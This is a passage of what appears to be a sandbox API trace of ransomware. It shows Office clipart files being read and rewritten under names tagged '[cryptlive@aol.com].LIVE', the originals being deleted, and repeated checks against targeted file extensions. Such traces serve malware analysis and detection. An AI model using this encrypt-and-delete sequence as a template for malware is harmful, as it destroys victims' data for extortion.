nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0141.862] WriteFile (in: hFile=0x394, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0141.862] SetEndOfFile (hFile=0x394) returned 1 [0141.862] CloseHandle (hObject=0x394) returned 1 [0141.862] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0141.863] SetEndOfFile (hFile=0x380) returned 1 [0141.865] CloseHandle (hObject=0x380) returned 1 [0141.865] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0141.865] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01183_.wmf")) returned 1 [0141.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 63 [0141.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 63 [0141.865] lstrlenW (lpString=".doc") returned 4 [0141.865] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0141.865] lstrlenW (lpString=".docx") returned 5 [0141.866] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0141.866] lstrlenW (lpString=".pdf") returned 4 [0141.866] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0141.866] lstrlenW (lpString=".xls") returned 4 [0141.866] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0141.866] lstrlenW (lpString=".xlsx") returned 5 [0141.866] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0141.866] lstrlenW (lpString=".ppt") returned 4 [0141.866] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0141.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 63 [0141.866] lstrlenW (lpString=".zip") returned 4 [0141.866] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0141.866] lstrlenW (lpString=".rar") returned 4 [0141.866] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0141.866] lstrlenW (lpString=".bz2") returned 4 [0141.866] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0141.866] lstrlenW (lpString=".7z") returned 3 [0141.866] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0141.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 63 [0141.866] lstrlenW (lpString=".dbf") returned 4 [0141.866] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0141.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 63 [0141.866] lstrlenW (lpString=".1cd") returned 4 [0141.866] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0141.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 63 [0141.866] lstrlenW (lpString=".jpg") returned 4 [0141.866] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0141.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 63 [0141.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 63 [0141.866] lstrlenW (lpString=".doc") returned 4 [0141.866] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0141.866] lstrlenW (lpString=".docx") returned 5 [0141.866] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0141.866] lstrlenW (lpString=".pdf") returned 4 [0141.866] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0141.866] lstrlenW (lpString=".xls") returned 4 [0141.867] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0141.867] lstrlenW (lpString=".xlsx") returned 5 [0141.867] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0141.867] lstrlenW (lpString=".ppt") returned 4 [0141.867] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0141.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 63 [0141.867] lstrlenW (lpString=".zip") returned 4 [0141.867] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0141.867] lstrlenW (lpString=".rar") returned 4 [0141.867] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0141.867] lstrlenW (lpString=".bz2") returned 4 [0141.867] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0141.867] lstrlenW (lpString=".7z") returned 3 [0141.867] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0141.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 63 [0141.867] lstrlenW (lpString=".dbf") returned 4 [0141.867] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0141.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 63 [0141.867] lstrlenW (lpString=".1cd") returned 4 [0141.867] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0141.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 63 [0141.867] lstrlenW (lpString=".jpg") returned 4 [0141.867] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0141.867] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0141.867] lstrlenW (lpString="DD01366_.WMF") returned 12 [0141.867] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01366_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0141.881] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=1768) returned 1 [0141.881] CloseHandle (hObject=0x1ec) returned 1 [0141.882] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01366_.wmf")) returned 0x20 [0141.911] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01366_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0141.912] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01366_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0141.912] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0141.912] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0141.912] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01366_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0141.912] GetLastError () returned 0x0 [0141.912] ReadFile (in: hFile=0x380, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x6e8, lpOverlapped=0x0) returned 1 [0141.925] WriteFile (in: hFile=0x394, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x6f0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0x6f0, lpOverlapped=0x0) returned 1 [0141.926] ReadFile (in: hFile=0x380, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0141.926] WriteFile (in: hFile=0x394, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0141.926] SetEndOfFile (hFile=0x394) returned 1 [0141.926] CloseHandle (hObject=0x394) returned 1 [0141.926] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0141.926] SetEndOfFile (hFile=0x380) returned 1 [0141.928] CloseHandle (hObject=0x380) returned 1 [0141.928] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0141.929] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01366_.wmf")) returned 1 [0141.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 63 [0141.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 63 [0141.929] lstrlenW (lpString=".doc") returned 4 [0141.929] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0141.929] lstrlenW (lpString=".docx") returned 5 [0141.929] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0141.929] lstrlenW (lpString=".pdf") returned 4 [0141.929] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0141.929] lstrlenW (lpString=".xls") returned 4 [0141.929] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0141.929] lstrlenW (lpString=".xlsx") returned 5 [0141.929] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0141.929] lstrlenW (lpString=".ppt") returned 4 [0141.929] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0141.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 63 [0141.929] lstrlenW (lpString=".zip") returned 4 [0141.929] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0141.929] lstrlenW (lpString=".rar") returned 4 [0141.929] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0141.930] lstrlenW (lpString=".bz2") returned 4 [0141.930] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0141.930] lstrlenW (lpString=".7z") returned 3 [0141.930] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0141.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 63 [0141.930] lstrlenW (lpString=".dbf") returned 4 [0141.930] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0141.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 63 [0141.930] lstrlenW (lpString=".1cd") returned 4 [0141.930] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0141.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 63 [0141.930] lstrlenW (lpString=".jpg") returned 4 [0141.930] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0141.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 63 [0141.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 63 [0141.930] lstrlenW (lpString=".doc") returned 4 [0141.930] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0141.930] lstrlenW (lpString=".docx") returned 5 [0141.930] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0141.930] lstrlenW (lpString=".pdf") returned 4 [0141.930] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0141.930] lstrlenW (lpString=".xls") returned 4 [0141.930] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0141.930] lstrlenW (lpString=".xlsx") returned 5 [0141.930] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0141.930] lstrlenW (lpString=".ppt") returned 4 [0141.930] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0141.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 63 [0141.930] lstrlenW (lpString=".zip") returned 4 [0141.930] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0141.930] lstrlenW (lpString=".rar") returned 4 [0141.930] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0141.930] lstrlenW (lpString=".bz2") returned 4 [0141.930] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0141.930] lstrlenW (lpString=".7z") returned 3 [0141.930] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0141.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 63 [0141.931] lstrlenW (lpString=".dbf") returned 4 [0141.931] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0141.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 63 [0141.931] lstrlenW (lpString=".1cd") returned 4 [0141.931] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0141.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 63 [0141.931] lstrlenW (lpString=".jpg") returned 4 [0141.931] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0141.931] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0141.931] lstrlenW (lpString="DD01630_.WMF") returned 12 [0141.931] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01630_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0141.931] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=296) returned 1 [0141.931] CloseHandle (hObject=0x380) returned 1 [0141.931] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01630_.wmf")) returned 0x20 [0141.932] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01630_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0141.932] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01630_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0141.932] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0141.932] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0141.932] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01630_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0141.933] GetLastError () returned 0x0 [0141.933] ReadFile (in: hFile=0x380, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x128, lpOverlapped=0x0) returned 1 [0141.934] WriteFile (in: hFile=0x394, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x130, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0x130, lpOverlapped=0x0) returned 1 [0141.935] ReadFile (in: hFile=0x380, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0141.935] WriteFile (in: hFile=0x394, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0141.935] SetEndOfFile (hFile=0x394) returned 1 [0141.935] CloseHandle (hObject=0x394) returned 1 [0141.935] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0141.935] SetEndOfFile (hFile=0x380) returned 1 [0141.938] CloseHandle (hObject=0x380) returned 1 [0141.938] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0141.938] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01630_.wmf")) returned 1 [0141.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 63 [0141.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 63 [0141.939] lstrlenW (lpString=".doc") returned 4 [0141.939] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0141.939] lstrlenW (lpString=".docx") returned 5 [0141.939] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0141.939] lstrlenW (lpString=".pdf") returned 4 [0141.939] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0141.939] lstrlenW (lpString=".xls") returned 4 [0141.939] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0141.939] lstrlenW (lpString=".xlsx") returned 5 [0141.939] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0141.939] lstrlenW (lpString=".ppt") returned 4 [0141.939] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0141.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 63 [0141.939] lstrlenW (lpString=".zip") returned 4 [0141.939] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0141.939] lstrlenW (lpString=".rar") returned 4 [0141.939] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0141.939] lstrlenW (lpString=".bz2") returned 4 [0142.133] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0142.133] lstrlenW (lpString=".7z") returned 3 [0142.133] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0142.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 63 [0142.133] lstrlenW (lpString=".dbf") returned 4 [0142.133] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0142.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 63 [0142.133] lstrlenW (lpString=".1cd") returned 4 [0142.134] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0142.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 63 [0142.134] lstrlenW (lpString=".jpg") returned 4 [0142.134] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0142.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 63 [0142.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 63 [0142.134] lstrlenW (lpString=".doc") returned 4 [0142.134] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0142.134] lstrlenW (lpString=".docx") returned 5 [0142.134] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0142.134] lstrlenW (lpString=".pdf") returned 4 [0142.134] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0142.134] lstrlenW (lpString=".xls") returned 4 [0142.134] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0142.134] lstrlenW (lpString=".xlsx") returned 5 [0142.134] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0142.134] lstrlenW (lpString=".ppt") returned 4 [0142.134] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0142.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 63 [0142.134] lstrlenW (lpString=".zip") returned 4 [0142.134] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0142.134] lstrlenW (lpString=".rar") returned 4 [0142.134] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0142.134] lstrlenW (lpString=".bz2") returned 4 [0142.134] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0142.134] lstrlenW (lpString=".7z") returned 3 [0142.134] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0142.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 63 [0142.134] lstrlenW (lpString=".dbf") returned 4 [0142.134] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0142.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 63 [0142.134] lstrlenW (lpString=".1cd") returned 4 [0142.134] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0142.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 63 [0142.134] lstrlenW (lpString=".jpg") returned 4 [0142.134] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0142.135] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0142.135] lstrlenW (lpString="EN00222_.WMF") returned 12 [0142.135] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00222_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0142.164] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=12356) returned 1 [0142.164] CloseHandle (hObject=0x1e4) returned 1 [0142.164] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00222_.wmf")) returned 0x20 [0142.228] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00222_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0142.228] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00222_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0142.228] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.228] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.228] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00222_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0142.229] GetLastError () returned 0x0 [0142.229] ReadFile (in: hFile=0x39c, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x3044, lpOverlapped=0x0) returned 1 [0142.306] WriteFile (in: hFile=0x380, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x3050, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0x3050, lpOverlapped=0x0) returned 1 [0142.307] ReadFile (in: hFile=0x39c, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0142.307] WriteFile (in: hFile=0x380, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0142.307] SetEndOfFile (hFile=0x380) returned 1 [0142.610] CloseHandle (hObject=0x380) returned 1 [0142.950] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.971] SetEndOfFile (hFile=0x39c) returned 1 [0142.973] CloseHandle (hObject=0x39c) returned 1 [0142.973] 